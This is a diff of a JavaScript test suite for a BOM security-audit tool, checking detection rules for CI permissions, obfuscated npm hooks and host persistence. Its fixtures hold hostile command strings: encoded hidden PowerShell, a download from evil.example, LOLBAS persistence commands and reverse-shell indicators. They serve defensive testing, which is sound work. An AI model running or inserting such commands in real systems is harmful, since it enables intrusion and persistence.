+ "explicit fork-aware dispatch chain should trigger CI-019",
3923
+ );
3924
+ });
3925
+
3926
+ it("prefers local receiver workflow names in CI-019 findings when correlation exists", async () => {
3927
+ const rules = await loadRules(RULES_DIR);
3928
+ const rule = rules.find((candidate) => candidate.id === "CI-019");
3929
+ assert.ok(rule, "CI-019 rule should exist");
3930
+
3931
+ const bom = makeBom([
3932
+ makeComponent("dispatch-step", "1.0.0", [
3933
+ ["cdx:github:step:dispatchesWorkflow", "true"],
3934
+ ["cdx:github:step:referencesForkContext", "true"],
3935
+ ["cdx:github:step:referencesSensitiveContext", "true"],
3936
+ ["cdx:github:step:dispatchTargets", "workflow:release.yml"],
3937
+ ["cdx:github:step:hasLocalDispatchReceiver", "true"],
3938
+ ["cdx:github:step:dispatchReceiverWorkflowNames", "Release workflow"],
3939
+ [
3940
+ "cdx:github:step:dispatchReceiverWorkflowFiles",
3941
+ ".github/workflows/release.yml",
3942
+ ],
3943
+ ]),
3944
+ ]);
3945
+
3946
+ const findings = await evaluateRule(rule, bom);
3947
+ assert.ok(
3948
+ findings.length > 0,
3949
+ "CI-019 should match the correlated dispatch step",
3950
+ );
3951
+ assert.match(findings[0].message, /Release workflow/);
3952
+ assert.doesNotMatch(findings[0].message, /workflow:release\.yml/);
3953
+ });
3954
+
3955
+ it("flags obfuscated npm lifecycle hooks", async () => {
3956
+ const bom = makeBom([
3957
+ makeComponent("suspicious-pkg", "1.0.0", [
3958
+ ["cdx:npm:hasInstallScript", "true"],
3959
+ ["cdx:npm:hasObfuscatedLifecycleScript", "true"],
3960
+ ["cdx:npm:obfuscatedLifecycleScripts", "postinstall"],
3961
+ [
3962
+ "cdx:npm:lifecycleObfuscationIndicators",
3963
+ "ast:buffer-base64,long-base64-literal",
3964
+ ],
3965
+ ["cdx:npm:lifecycleExecutionIndicators", "ast:child-process"],
3966
+ ]),
3967
+ ]);
3968
+
3969
+ const findings = await auditBom(bom, {
3970
+ bomAuditCategories: "package-integrity",
3971
+ });
3972
+ assert.ok(
3973
+ findings.some((finding) => finding.ruleId === "INT-009"),
3974
+ "obfuscated lifecycle hooks should trigger INT-009",
3975
+ );
3976
+ });
3977
+
3978
+ it("does not flag CI-015 for low-signal outbound workflow steps", async () => {
3979
+ const bom = makeBomFromWorkflowFixture(
3980
+ "outbound-sensitive-context-low-signal.yml",
3981
+ );
3982
+
3983
+ const findings = await auditBom(bom, {
3984
+ bomAuditCategories: "ci-permission",
3985
+ });
3986
+ assert.ok(
3987
+ !findings.some((finding) => finding.ruleId === "CI-015"),
3988
+ "low-signal outbound workflow should not trigger CI-015",
3989
+ );
3990
+ });
3991
+
3992
+ it("flags CI-021 for a high-risk workflow with implicit permissions and sensitive operations", async () => {
3993
+ const bom = makeBomFromWorkflowFixture(
3994
+ "heuristic-implicit-permissions-sensitive.yml",
3995
+ );
3996
+
3997
+ const findings = await auditBom(bom, {
3998
+ bomAuditCategories: "ci-permission",
3999
+ });
4000
+ assert.ok(
4001
+ findings.some((finding) => finding.ruleId === "CI-021"),
4002
+ "implicit-permissions high-risk workflow should trigger CI-021",
4003
+ );
4004
+ });
4005
+
4006
+ it("does not flag CI-021 when the workflow declares an explicit permissions block", async () => {
4007
+ const bom = makeBomFromWorkflowFixture(
4008
+ "heuristic-explicit-permissions-sensitive.yml",
4009
+ );
4010
+
4011
+ const findings = await auditBom(bom, {
4012
+ bomAuditCategories: "ci-permission",
4013
+ });
4014
+ assert.ok(
4015
+ !findings.some((finding) => finding.ruleId === "CI-021"),
4016
+ "explicit permissions block should suppress heuristic CI-021",
4017
+ );
4018
+ });
4019
+ });
4020
+
4021
+ describe("formatAnnotations", () => {
4022
+ it("should create CycloneDX annotations from findings", () => {
4023
+ const bom = makeBom([]);
4024
+ const findings = [
4025
+ {
4026
+ ruleId: "CI-001",
4027
+ name: "Unpinned action",
4028
+ severity: "high",
4029
+ category: "ci-permission",
4030
+ message: "Unpinned GitHub Action detected",
4031
+ mitigation: "Pin to SHA",
4032
+ attackTactics: ["TA0001", "TA0004"],
4033
+ attackTechniques: ["T1195.001"],
4034
+ standards: {
4035
+ "owasp-ai-top-10": ["LLM07: Insecure Plugin Design"],
4036
+ "nist-ai-rmf": ["Manage"],
4037
+ },
4038
+ },
4039
+ ];
4040
+ const annotations = formatAnnotations(findings, bom);
4041
+ assert.strictEqual(annotations.length, 1);
4042
+ assert.ok(
4043
+ annotations[0].text.startsWith("Unpinned GitHub Action detected"),
4044
+ );
4045
+ assert.match(annotations[0].text, /\| Property \| Value \|/);
4046
+ assert.match(annotations[0].text, /cdx:audit:attack:tactics/);
4047
+ assert.match(annotations[0].text, /cdx:audit:attack:techniques/);
4048
+ assert.match(annotations[0].text, /cdx:audit:standards:owasp-ai-top-10/);
4049
+ assert.ok(
4050
+ annotations[0].annotator.component,
4051
+ "Annotation should have annotator component",
4052
+ );
4053
+ assert.ok(annotations[0].subjects.includes(bom.serialNumber));
4054
+ });
4055
+
4056
+ it("should return empty array when cdxgen tool component is missing", () => {
4057
+ const bom = {
4058
+ serialNumber: "urn:uuid:test",
4059
+ metadata: { tools: { components: [] } },
4060
+ components: [],
4061
+ };
4062
+ const findings = [
4063
+ {
4064
+ ruleId: "CI-001",
4065
+ severity: "high",
4066
+ category: "ci-permission",
4067
+ message: "test",
4068
+ },
4069
+ ];
4070
+ const annotations = formatAnnotations(findings, bom);
4071
+ assert.deepStrictEqual(annotations, []);
4072
+ });
4073
+
4074
+ it("should return empty array when metadata.tools is undefined", () => {
4075
+ const bom = {
4076
+ serialNumber: "urn:uuid:test",
4077
+ metadata: {},
4078
+ components: [],
4079
+ };
4080
+ const annotations = formatAnnotations(
4081
+ [{ ruleId: "X", severity: "low", category: "test", message: "test" }],
4082
+ bom,
4083
+ );
4084
+ assert.deepStrictEqual(annotations, []);
4085
+ });
4086
+ });
4087
+
4088
+ describe("hasCriticalFindings", () => {
4089
+ it("should return true when high severity findings exist", () => {
4090
+ const findings = [{ severity: "high" }];
4091
+ assert.ok(hasCriticalFindings(findings, {}));
4092
+ });
4093
+
4094
+ it("should return false when only low severity findings exist", () => {
4095
+ const findings = [{ severity: "low" }];
4096
+ assert.ok(!hasCriticalFindings(findings, {}));
4097
+ });
4098
+
4099
+ it("should use threshold semantics (at or above)", () => {
4100
+ const findings = [{ severity: "high" }];
4101
+ // medium threshold should catch high findings
4102
+ assert.ok(
4103
+ hasCriticalFindings(findings, { bomAuditFailSeverity: "medium" }),
4104
+ );
4105
+ // high threshold should catch high findings
4106
+ assert.ok(hasCriticalFindings(findings, { bomAuditFailSeverity: "high" }));
4107
+ // critical threshold should NOT catch high findings
4108
+ assert.ok(
4109
+ !hasCriticalFindings(findings, { bomAuditFailSeverity: "critical" }),
1982
4110
  );
1983
- assert.strictEqual(findings[0].severity, "high");
1984
4111
  });
1985
4112
 
1986
- it("should detect unexpected privilege transition (OBOM-LNX-009)", async () => {
1987
- const rules = await loadRules(RULES_DIR);
1988
- const rule = rules.find((r) => r.id === "OBOM-LNX-009");
1989
- assert.ok(rule, "OBOM-LNX-009 rule should exist");
1990
-
1991
- const bom = makeBom([
1992
- {
1993
- type: "application",
1994
- name: "packagekit-helper",
1995
- version: "2121",
1996
- description: "",
1997
- purl: "pkg:swid/packagekit-helper@2121",
1998
- "bom-ref": "pkg:swid/packagekit-helper@2121",
1999
- properties: [
2000
- { name: "cdx:osquery:category", value: "privilege_transitions" },
2001
- { name: "auid", value: "1000" },
2002
- { name: "uid", value: "1000" },
2003
- { name: "euid", value: "0" },
2004
- { name: "gid", value: "1000" },
2005
- { name: "egid", value: "0" },
2006
- { name: "login_user", value: "analyst" },
2007
- { name: "path", value: "/usr/libexec/packagekit-direct" },
2008
- {
2009
- name: "cmdline",
2010
- value: "/usr/libexec/packagekit-direct --repair",
2011
- },
2012
- { name: "parent_cmdline", value: "/bin/bash" },
2013
- { name: "package_source_hint", value: "unclassified-path" },
2014
- ],
2015
- },
2016
- ]);
2017
-
2018
- const findings = await evaluateRule(rule, bom);
4113
+ it("should respect custom fail severity for medium", () => {
4114
+ const findings = [{ severity: "medium" }];
2019
4115
  assert.ok(
2020
- findings.length > 0,
2021
- "Should detect unexpected privilege transition",
4116
+ hasCriticalFindings(findings, { bomAuditFailSeverity: "medium" }),
2022
4117
  );
2023
- assert.strictEqual(findings[0].severity, "high");
4118
+ assert.ok(!hasCriticalFindings(findings, { bomAuditFailSeverity: "high" }));
2024
4119
  });
2025
4120
 
2026
- it("should detect hidden suspicious Windows scheduled task (OBOM-WIN-004)", async () => {
2027
- const rules = await loadRules(RULES_DIR);
2028
- const rule = rules.find((r) => r.id === "OBOM-WIN-004");
2029
- assert.ok(rule, "OBOM-WIN-004 rule should exist");
2030
-
2031
- const bom = makeBom([
2032
- {
2033
- type: "data",
2034
- name: "WindowsUpdateTask",
2035
- version: "",
2036
- description: "",
2037
- purl: "pkg:swid/windows-task",
2038
- "bom-ref": "pkg:swid/windows-task",
2039
- properties: [
2040
- { name: "cdx:osquery:category", value: "scheduled_tasks" },
2041
- { name: "enabled", value: "1" },
2042
- { name: "hidden", value: "1" },
2043
- { name: "path", value: "C:\\Users\\Public\\Temp\\u.exe" },
2044
- {
2045
- name: "action",
2046
- value: "powershell -enc SQBFAFgAIAAoAEkAbgB2AG8AawBlACkA",
2047
- },
2048
- ],
2049
- },
2050
- ]);
2051
-
2052
- const findings = await evaluateRule(rule, bom);
2053
- assert.ok(findings.length > 0, "Should detect suspicious hidden task");
2054
- assert.strictEqual(findings[0].severity, "high");
4121
+ it("should return false for empty findings", () => {
4122
+ assert.ok(!hasCriticalFindings([], {}));
4123
+ assert.ok(!hasCriticalFindings(null, {}));
2055
4124
  });
4125
+ });
2056
4126
 
2057
- it("should detect auto-start service in user-writable path (OBOM-WIN-005)", async () => {
4127
+ describe("additional OBOM and rootfs hardening rules", () => {
4128
+ it("should detect reverse shell behavior (OBOM-LNX-014)", async () => {
2058
4129
  const rules = await loadRules(RULES_DIR);
2059
- const rule = rules.find((r) => r.id === "OBOM-WIN-005");
2060
- assert.ok(rule, "OBOM-WIN-005 rule should exist");
4130
+ const rule = rules.find((r) => r.id === "OBOM-LNX-014");
4131
+ assert.ok(rule, "OBOM-LNX-014 rule should exist");
2061
4132
 
2062
4133
  const bom = makeBom([
2063
4134
  {
2064
4135
  type: "data",
2065
- name: "EvilAutoStartService",
2066
- version: "",
4136
+ name: "bash",
4137
+ version: "1234",
2067
4138
  description: "",
2068
- purl: "pkg:swid/windows-service-evil",
2069
- "bom-ref": "pkg:swid/windows-service-evil",
4139
+ purl: "pkg:swid/bash@1234",
4140
+ "bom-ref": "pkg:swid/bash@1234",
2070
4141
  properties: [
2071
- { name: "cdx:osquery:category", value: "services_snapshot" },
2072
- { name: "start_type", value: "AUTO_START" },
2073
- {
2074
- name: "path",
2075
- value:
2076
- "C:\\Users\\Public\\AppData\\Roaming\\Microsoft\\Windows\\evil.exe",
2077
- },
4142
+ { name: "cdx:osquery:category", value: "behavioral_reverse_shell" },
4143
+ { name: "path", value: "/usr/bin/bash" },
4144
+ { name: "cmdline", value: "bash -i" },
4145
+ { name: "parent_cmdline", value: "python -c pty.spawn('bash')" },
4146
+ { name: "remote_address", value: "203.0.113.10" },
4147
+ { name: "remote_port", value: "4444" },
2078
4148
  ],
2079
4149
  },
2080
4150
  ]);
2081
4151
 
2082
4152
  const findings = await evaluateRule(rule, bom);
2083
- assert.ok(findings.length > 0, "Should detect auto-start service risk");
4153
+ assert.ok(findings.length > 0, "Should detect reverse shell behavior");
2084
4154
  assert.strictEqual(findings[0].severity, "critical");
2085
4155
  });
2086
4156
 
2087
- it("should detect Windows persistence surfaces referencing LOLBAS (OBOM-WIN-006)", async () => {
2088
- const rules = await loadRules(RULES_DIR);
2089
- const rule = rules.find((r) => r.id === "OBOM-WIN-006");
2090
- assert.ok(rule, "OBOM-WIN-006 rule should exist");
2091
-
2092
- const bom = makeBom([
2093
- {
2094
- type: "data",
2095
- name: "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
2096
- version: "",
2097
- description: "powershell.exe -nop -w hidden -enc AAAA",
2098
- purl: "pkg:swid/windows-run-key-lolbas",
2099
- "bom-ref": "pkg:swid/windows-run-key-lolbas",
2100
- properties: [
2101
- { name: "cdx:osquery:category", value: "windows_run_keys" },
2102
- { name: "cdx:lolbas:matched", value: "true" },
2103
- { name: "cdx:lolbas:names", value: "powershell.exe" },
2104
- {
2105
- name: "cdx:lolbas:functions",
2106
- value: "command,download,script-execution,shell,upload",
2107
- },
2108
- { name: "cdx:lolbas:matchFields", value: "description" },
2109
- ],
2110
- },
2111
- ]);
2112
-
2113
- const findings = await evaluateRule(rule, bom);
2114
- assert.ok(findings.length > 0, "Should detect LOLBAS persistence surface");
2115
- assert.strictEqual(findings[0].severity, "high");
2116
- });
2117
-
2118
- it("should detect WMI or AppCompat LOLBAS persistence (OBOM-WIN-007)", async () => {
4157
+ it("should detect weak sysctl hardening posture (OBOM-LNX-017)", async () => {
2119
4158
  const rules = await loadRules(RULES_DIR);
2120
- const rule = rules.find((r) => r.id === "OBOM-WIN-007");
2121
- assert.ok(rule, "OBOM-WIN-007 rule should exist");
4159
+ const rule = rules.find((r) => r.id === "OBOM-LNX-017");
4160
+ assert.ok(rule, "OBOM-LNX-017 rule should exist");
2122
4161
 
2123
4162
  const bom = makeBom([
2124
- {
2125
- type: "data",
2126
- name: "CommandLineEventConsumerBad",
2127
- version: "",
2128
- description: "",
2129
- purl: "pkg:swid/windows-wmi-lolbas",
2130
- "bom-ref": "pkg:swid/windows-wmi-lolbas",
2131
- properties: [
2132
- { name: "cdx:osquery:category", value: "wmi_cli_event_consumers" },
2133
- { name: "cdx:lolbas:matched", value: "true" },
2134
- { name: "cdx:lolbas:names", value: "regsvr32.exe" },
2135
- {
2136
- name: "cdx:lolbas:functions",
2137
- value: "library-load,proxy-execution,script-execution",
2138
- },
2139
- {
2140
- name: "command_line_template",
2141
- value: "regsvr32.exe /s scrobj.dll",
2142
- },
2143
- ],
2144
- },
4163
+ makeComponent("kernel.randomize_va_space", "1", [
4164
+ ["cdx:osquery:category", "sysctl_hardening"],
4165
+ ]),
2145
4166
  ]);
2146
4167
 
2147
4168
  const findings = await evaluateRule(rule, bom);
2148
- assert.ok(findings.length > 0, "Should detect LOLBAS WMI persistence");
2149
- assert.strictEqual(findings[0].severity, "critical");
4169
+ assert.ok(findings.length > 0, "Should detect weak sysctl posture");
4170
+ assert.strictEqual(findings[0].severity, "medium");
2150
4171
  });
2151
4172
 
2152
- it("should detect network-capable LOLBAS in startup or process activity (OBOM-WIN-008)", async () => {
4173
+ it("should detect weak temporary mount protections (OBOM-LNX-018)", async () => {
2153
4174
  const rules = await loadRules(RULES_DIR);
2154
- const rule = rules.find((r) => r.id === "OBOM-WIN-008");
2155
- assert.ok(rule, "OBOM-WIN-008 rule should exist");
4175
+ const rule = rules.find((r) => r.id === "OBOM-LNX-018");
4176
+ assert.ok(rule, "OBOM-LNX-018 rule should exist");
2156
4177
 
2157
4178
  const bom = makeBom([
2158
- {
2159
- type: "data",
2160
- name: "SuspiciousPowerShell",
2161
- version: "",
2162
- description: "",
2163
- purl: "pkg:swid/windows-process-lolbas",
2164
- "bom-ref": "pkg:swid/windows-process-lolbas",
2165
- properties: [
2166
- { name: "cdx:osquery:category", value: "processes" },
2167
- { name: "cdx:lolbas:matched", value: "true" },
2168
- { name: "cdx:lolbas:names", value: "powershell.exe" },
2169
- {
2170
- name: "cdx:lolbas:functions",
2171
- value: "command,download,script-execution,shell,upload",
2172
- },
2173
- {
2174
- name: "cmdline",
2175
- value:
2176
- "powershell.exe -nop -w hidden -enc AAAA; iwr https://evil.example/a.ps1",
2177
- },
2178
- ],
2179
- },
4179
+ makeComponent("/tmp", "rw,nosuid,nodev", [
4180
+ ["cdx:osquery:category", "mount_hardening"],
4181
+ ["type", "tmpfs"],
4182
+ ]),
2180
4183
  ]);
2181
4184
 
2182
4185
  const findings = await evaluateRule(rule, bom);
2183
- assert.ok(findings.length > 0, "Should detect network-capable LOLBAS");
4186
+ assert.ok(findings.length > 0, "Should detect missing noexec flag");
2184
4187
  assert.strictEqual(findings[0].severity, "high");
2185
4188
  });
2186
4189
 
2187
- it("should detect network-facing LOLBAS listeners (OBOM-WIN-009)", async () => {
4190
+ it("should detect GTFOBins-linked privileged runtime activity (OBOM-LNX-019)", async () => {
2188
4191
  const rules = await loadRules(RULES_DIR);
2189
- const rule = rules.find((r) => r.id === "OBOM-WIN-009");
2190
- assert.ok(rule, "OBOM-WIN-009 rule should exist");
4192
+ const rule = rules.find((r) => r.id === "OBOM-LNX-019");
4193
+ assert.ok(rule, "OBOM-LNX-019 rule should exist");
2191
4194
 
2192
4195
  const bom = makeBom([
2193
- {
2194
- type: "application",
2195
- name: "powershell.exe",
2196
- version: "9001",
2197
- description: "",
2198
- purl: "pkg:swid/powershell.exe@9001",
2199
- "bom-ref": "pkg:swid/powershell.exe@9001",
2200
- properties: [
2201
- { name: "cdx:osquery:category", value: "listening_ports" },
2202
- { name: "cdx:lolbas:matched", value: "true" },
2203
- { name: "cdx:lolbas:names", value: "powershell.exe" },
2204
- {
2205
- name: "cdx:lolbas:functions",
2206
- value: "command,download,script-execution,shell,upload",
2207
- },
2208
- { name: "address", value: "0.0.0.0" },
2209
- { name: "port", value: "9001" },
2210
- {
2211
- name: "cmdline",
2212
- value: "powershell.exe -nop -w hidden -enc AAAA",
2213
- },
2214
- ],
2215
- },
4196
+ makeComponent("bash", "", [
4197
+ ["cdx:osquery:category", "sudo_executions"],
4198
+ ["cdx:gtfobins:matched", "true"],
4199
+ ["cdx:gtfobins:names", "bash"],
4200
+ ["cdx:gtfobins:functions", "shell,command"],
4201
+ ["cdx:gtfobins:contexts", "sudo,suid"],
4202
+ ["cdx:gtfobins:riskTags", "lateral-movement,privilege-escalation"],
4203
+ ["path", "/usr/bin/bash"],
4204
+ ["cmdline", "bash -c id"],
4205
+ ]),
2216
4206
  ]);
2217
4207
 
2218
4208
  const findings = await evaluateRule(rule, bom);
2219
- assert.ok(findings.length > 0, "Should detect network-facing LOLBAS");
2220
- assert.strictEqual(findings[0].severity, "critical");
4209
+ assert.ok(
4210
+ findings.length > 0,
4211
+ "Should detect GTFOBins helper in privileged runtime context",
4212
+ );
4213
+ assert.strictEqual(findings[0].severity, "high");
2221
4214
  });
2222
4215
 
2223
- it("should detect UAC-bypass-capable LOLBAS persistence (OBOM-WIN-010)", async () => {
4216
+ it("should ignore elevated root processes without suspicious path evidence (OBOM-LNX-010)", async () => {
2224
4217
  const rules = await loadRules(RULES_DIR);
2225
- const rule = rules.find((r) => r.id === "OBOM-WIN-010");
2226
- assert.ok(rule, "OBOM-WIN-010 rule should exist");
4218
+ const rule = rules.find((r) => r.id === "OBOM-LNX-010");
4219
+ assert.ok(rule, "OBOM-LNX-010 rule should exist");
2227
4220
 
2228
4221
  const bom = makeBom([
2229
- {
2230
- type: "data",
2231
- name: "BadTask",
2232
- version: "",
2233
- description: "",
2234
- purl: "pkg:swid/windows-task-uac-lolbas",
2235
- "bom-ref": "pkg:swid/windows-task-uac-lolbas",
2236
- properties: [
2237
- { name: "cdx:osquery:category", value: "scheduled_tasks" },
2238
- { name: "cdx:lolbas:matched", value: "true" },
2239
- { name: "cdx:lolbas:names", value: "cmstp.exe" },
2240
- { name: "cdx:lolbas:contexts", value: "admin,uac-bypass,user" },
2241
- { name: "action", value: "cmstp.exe /s payload.inf" },
2242
- ],
2243
- },
4222
+ makeComponent("agetty", "1063", [
4223
+ ["cdx:osquery:category", "elevated_processes"],
4224
+ ["uid", "0"],
4225
+ ["package_source_hint", "unclassified-path"],
4226
+ ["cmdline", "/sbin/agetty -o -p -- \\u --noclear - linux"],
4227
+ ]),
2244
4228
  ]);
2245
4229
 
2246
4230
  const findings = await evaluateRule(rule, bom);
2247
- assert.ok(findings.length > 0, "Should detect UAC-bypass LOLBAS");
2248
- assert.strictEqual(findings[0].severity, "critical");
2249
- });
2250
-
2251
- it("should detect launchd override disabling Apple service (OBOM-MAC-004)", async () => {
2252
- const rules = await loadRules(RULES_DIR);
2253
- const rule = rules.find((r) => r.id === "OBOM-MAC-004");
2254
- assert.ok(rule, "OBOM-MAC-004 rule should exist");
2255
-
2256
- const bom = makeBom([
2257
- {
2258
- type: "data",
2259
- name: "com.apple.some-security-service",
2260
- version: "",
2261
- description: "",
2262
- purl: "pkg:swid/launchd-override",
2263
- "bom-ref": "pkg:swid/launchd-override",
2264
- properties: [
2265
- { name: "cdx:osquery:category", value: "launchd_overrides" },
2266
- { name: "label", value: "com.apple.some-security-service" },
2267
- { name: "key", value: "Disabled" },
2268
- { name: "value", value: "1" },
2269
- { name: "uid", value: "0" },
2270
- ],
2271
- },
4231
+ assert.strictEqual(
4232
+ findings.length,
4233
+ 0,
4234
+ "Should ignore root processes that lack concrete suspicious path evidence",
4235
+ );
4236
+ });
4237
+
4238
+ it("should detect elevated root processes from user-controlled command paths (OBOM-LNX-010)", async () => {
4239
+ const rules = await loadRules(RULES_DIR);
4240
+ const rule = rules.find((r) => r.id === "OBOM-LNX-010");
4241
+ assert.ok(rule, "OBOM-LNX-010 rule should exist");
4242
+
4243
+ const bom = makeBom([
4244
+ makeComponent("evil-root-job", "1", [
4245
+ ["cdx:osquery:category", "elevated_processes"],
4246
+ ["uid", "0"],
4247
+ ["package_source_hint", "user-writable-path"],
4248
+ ["cmdline", "/home/demo/.local/bin/evil-root-job --daemon"],
4249
+ ]),
2272
4250
  ]);
2273
4251
 
2274
4252
  const findings = await evaluateRule(rule, bom);
2275
4253
  assert.ok(
2276
4254
  findings.length > 0,
2277
- "Should detect disabled Apple launchd label",
4255
+ "Should detect root processes sourced from user-controlled command paths",
2278
4256
  );
2279
- assert.strictEqual(findings[0].severity, "medium");
4257
+ assert.match(findings[0].message, /evil-root-job/);
2280
4258
  });
2281
- });
2282
4259
 
2283
- describe("evaluateRules", () => {
2284
- it("should sort findings by severity (high before medium before low)", async () => {
4260
+ it("should ignore routine elevated GTFOBins services without suspicious path evidence (OBOM-LNX-019)", async () => {
2285
4261
  const rules = await loadRules(RULES_DIR);
4262
+ const rule = rules.find((r) => r.id === "OBOM-LNX-019");
4263
+ assert.ok(rule, "OBOM-LNX-019 rule should exist");
4264
+
2286
4265
  const bom = makeBom([
2287
- makeComponent("actions/checkout", "v3", [
2288
- ["cdx:github:action:isShaPinned", "false"],
2289
- ["cdx:github:workflow:hasWritePermissions", "true"],
2290
- ["cdx:github:action:uses", "actions/checkout@v3"],
2291
- ["cdx:github:action:versionPinningType", "tag"],
2292
- ]),
2293
- makeComponent("deprecated-go-mod", "1.0.0", [
2294
- ["cdx:go:deprecated", "use other-module instead"],
4266
+ makeComponent("fail2ban-server", "1", [
4267
+ ["cdx:osquery:category", "elevated_processes"],
4268
+ ["cdx:gtfobins:matched", "true"],
4269
+ ["cdx:gtfobins:names", "python"],
4270
+ ["cdx:gtfobins:functions", "shell,reverse-shell"],
4271
+ ["cdx:gtfobins:contexts", "sudo,suid,unprivileged"],
4272
+ ["package_source_hint", "unclassified-path"],
4273
+ ["cmdline", "/usr/bin/python3 /usr/bin/fail2ban-server -xf start"],
2295
4274
  ]),
2296
4275
  ]);
2297
4276
 
2298
- const findings = await evaluateRules(rules, bom);
2299
- if (findings.length >= 2) {
2300
- const severityOrder = { critical: 0, high: 1, medium: 2, low: 3 };
2301
- for (let i = 1; i < findings.length; i++) {
2302
- const prev = severityOrder[findings[i - 1].severity] ?? 4;
2303
- const curr = severityOrder[findings[i].severity] ?? 4;
2304
- assert.ok(
2305
- prev <= curr,
2306
- `Finding ${i - 1} severity (${findings[i - 1].severity}) should be >= severity of finding ${i} (${findings[i].severity})`,
2307
- );
2308
- }
2309
- }
4277
+ const findings = await evaluateRule(rule, bom);
4278
+ assert.strictEqual(
4279
+ findings.length,
4280
+ 0,
4281
+ "Should ignore routine elevated GTFOBins matches without suspicious path context",
4282
+ );
2310
4283
  });
2311
- });
2312
4284
 
2313
- describe("auditBom", () => {
2314
- it("should run audit and return findings", async () => {
4285
+ it("should detect APT sources that still use plaintext HTTP transport (OBOM-LNX-021)", async () => {
4286
+ const rules = await loadRules(RULES_DIR);
4287
+ const rule = rules.find((r) => r.id === "OBOM-LNX-021");
4288
+ assert.ok(rule, "OBOM-LNX-021 rule should exist");
4289
+
2315
4290
  const bom = makeBom([
2316
- makeComponent("actions/setup-node", "v3", [
2317
- ["cdx:github:action:isShaPinned", "false"],
2318
- ["cdx:github:workflow:hasWritePermissions", "true"],
2319
- ["cdx:github:action:uses", "actions/setup-node@v3"],
2320
- ["cdx:github:action:versionPinningType", "tag"],
4291
+ makeComponent("gb.archive.ubuntu.com/ubuntu+noble", "24.04", [
4292
+ ["cdx:osquery:category", "apt_sources"],
4293
+ ["base_uri", "http://gb.archive.ubuntu.com/ubuntu"],
4294
+ ["components", "main restricted universe multiverse"],
4295
+ ["maintainer", "Ubuntu"],
4296
+ ["release", "noble"],
4297
+ ["source", "/etc/apt/sources.list.d/ubuntu.sources"],
2321
4298
  ]),
2322
4299
  ]);
2323
4300
 
2324
- const findings = await auditBom(bom, {});
2325
- assert.ok(findings.length > 0, "Should find at least one issue");
4301
+ const findings = await evaluateRule(rule, bom);
4302
+ assert.ok(findings.length > 0, "Should flag HTTP-backed APT sources");
4303
+ assert.strictEqual(findings[0].severity, "medium");
4304
+ assert.match(findings[0].message, /plaintext HTTP transport/);
2326
4305
  });
2327
4306
 
2328
- it("should return empty array for null bom", async () => {
2329
- const findings = await auditBom(null, {});
2330
- assert.deepStrictEqual(findings, []);
2331
- });
4307
+ it("should detect authorized_keys entries that still use ssh-rsa (OBOM-LNX-022)", async () => {
4308
+ const rules = await loadRules(RULES_DIR);
4309
+ const rule = rules.find((r) => r.id === "OBOM-LNX-022");
4310
+ assert.ok(rule, "OBOM-LNX-022 rule should exist");
2332
4311
 
2333
- it("should filter by category", async () => {
2334
4312
  const bom = makeBom([
2335
- makeComponent("actions/setup-node", "v3", [
2336
- ["cdx:github:action:isShaPinned", "false"],
2337
- ["cdx:github:workflow:hasWritePermissions", "true"],
2338
- ["cdx:github:action:uses", "actions/setup-node@v3"],
2339
- ["cdx:github:action:versionPinningType", "tag"],
2340
- ]),
2341
- makeComponent("sketchy-pkg", "1.0.0", [
2342
- ["cdx:npm:hasInstallScript", "true"],
2343
- ["cdx:npm:isRegistryDependency", "false"],
4313
+ makeComponent("appthreat", "ssh-rsa", [
4314
+ ["cdx:osquery:category", "authorized_keys_snapshot"],
4315
+ ["key_file", "/home/appthreat/.ssh/authorized_keys"],
4316
+ ["uid", "1000"],
2344
4317
  ]),
2345
4318
  ]);
2346
4319
 
2347
- const ciOnly = await auditBom(bom, {
2348
- bomAuditCategories: "ci-permission",
2349
- });
2350
- for (const f of ciOnly) {
2351
- assert.strictEqual(f.category, "ci-permission");
2352
- }
2353
- });
2354
-
2355
- it("expands the ai-inventory category alias", async () => {
2356
- const bom = makeBom(
2357
- [],
2358
- [],
2359
- [
2360
- {
2361
- type: "application",
2362
- name: "agent-guide",
2363
- version: "latest",
2364
- "bom-ref": "file:/repo/AGENTS.md",
2365
- properties: [
2366
- { name: "SrcFile", value: "/repo/AGENTS.md" },
2367
- { name: "cdx:agent:inventorySource", value: "agent-file" },
2368
- { name: "cdx:file:kind", value: "agent-instructions" },
2369
- {
2370
- name: "cdx:agent:hasNonOfficialMcpReference",
2371
- value: "true",
2372
- },
2373
- { name: "cdx:agent:mcpPackageRefs", value: "@acme/mcp-server" },
2374
- ],
2375
- },
2376
- ],
2377
- [
2378
- {
2379
- "bom-ref": "urn:service:mcp:demo:1",
2380
- group: "mcp",
2381
- name: "demo-server",
2382
- authenticated: false,
2383
- endpoints: ["https://mcp.example.com/mcp"],
2384
- properties: [
2385
- { name: "cdx:mcp:transport", value: "streamable-http" },
2386
- { name: "cdx:mcp:serviceType", value: "inferred-endpoint" },
2387
- { name: "cdx:mcp:inventorySource", value: "agent-file" },
2388
- { name: "cdx:mcp:toolCount", value: "1" },
2389
- { name: "cdx:mcp:officialSdk", value: "false" },
2390
- ],
2391
- },
2392
- ],
4320
+ const findings = await evaluateRule(rule, bom);
4321
+ assert.ok(
4322
+ findings.length > 0,
4323
+ "Should flag deprecated ssh-rsa authorized_keys entries",
2393
4324
  );
2394
-
2395
- const findings = await auditBom(bom, {
2396
- bomAuditCategories: "ai-inventory",
2397
- });
2398
- assert.ok(findings.some((finding) => finding.category === "ai-agent"));
2399
- assert.ok(findings.some((finding) => finding.category === "mcp-server"));
4325
+ assert.strictEqual(findings[0].severity, "medium");
4326
+ assert.match(findings[0].message, /deprecated ssh-rsa/);
2400
4327
  });
2401
4328
 
2402
- it("rejects unknown audit categories with valid choices", async () => {
2403
- await assert.rejects(
2404
- auditBom(makeBom([]), {
2405
- bomAuditCategories: "unknown-category",
2406
- }),
2407
- /Unknown BOM audit category: unknown-category\. Valid categories: .*ai-inventory \(alias for ai-agent,mcp-server\).*ci-permission.*mcp-server/,
2408
- );
2409
- });
4329
+ it("should classify managed privileged listeners as medium exposure review (OBOM-LNX-006)", async () => {
4330
+ const rules = await loadRules(RULES_DIR);
4331
+ const rule = rules.find((r) => r.id === "OBOM-LNX-006");
4332
+ assert.ok(rule, "OBOM-LNX-006 rule should exist");
2410
4333
 
2411
- it("should filter by minimum severity", async () => {
2412
4334
  const bom = makeBom([
2413
- makeComponent("actions/setup-node", "v3", [
2414
- ["cdx:github:action:isShaPinned", "false"],
2415
- ["cdx:github:workflow:hasWritePermissions", "true"],
2416
- ["cdx:github:action:uses", "actions/setup-node@v3"],
2417
- ["cdx:github:action:versionPinningType", "tag"],
4335
